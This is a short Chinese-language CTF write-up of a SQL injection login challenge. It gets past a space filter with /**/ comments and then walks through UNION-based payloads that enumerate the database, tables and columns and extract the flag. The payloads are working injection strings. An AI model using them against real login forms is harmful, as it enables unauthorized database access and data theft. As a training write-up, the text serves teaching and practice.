如题又是登录框
先试试看看能不能登录
' or 1=1#
发现出现了错误:sql inject error
用burp抓包发现,过滤了空格
空格被注释掉了,所以想办法把空格给替代掉
通过这篇文章得到注释的方法有两种,那就是注释符/* */和%a0
'/**/or/**/1=1#
发现可以登录:
接下来就是手工注入的流程了
order by 查询字段为3:
username='/**/or/**/1=1/**/order/**/by/**/3#&password=123
回显的字段数为2:
username='/**/or/**/1=2/**/union/**/select/**/1,2,3#&password=123
得到数据库名:web2
username='/**/or/**/1=2/**/union/**/select/**/1,database(),3#&password=123
查询web2下所有表信息,得到两张表flag和user
username='/**/or/**/1=2/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#&password=123
查询指定表名下flag下的信息:
获得列名信息flag
username='/**/or/**/1=2/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#&password=123
查询flag下的数据:
username='/**/or/**/1=2/**/union/**/select/**/1,flag,3/**/from/**/flag#&password=123
获得flag值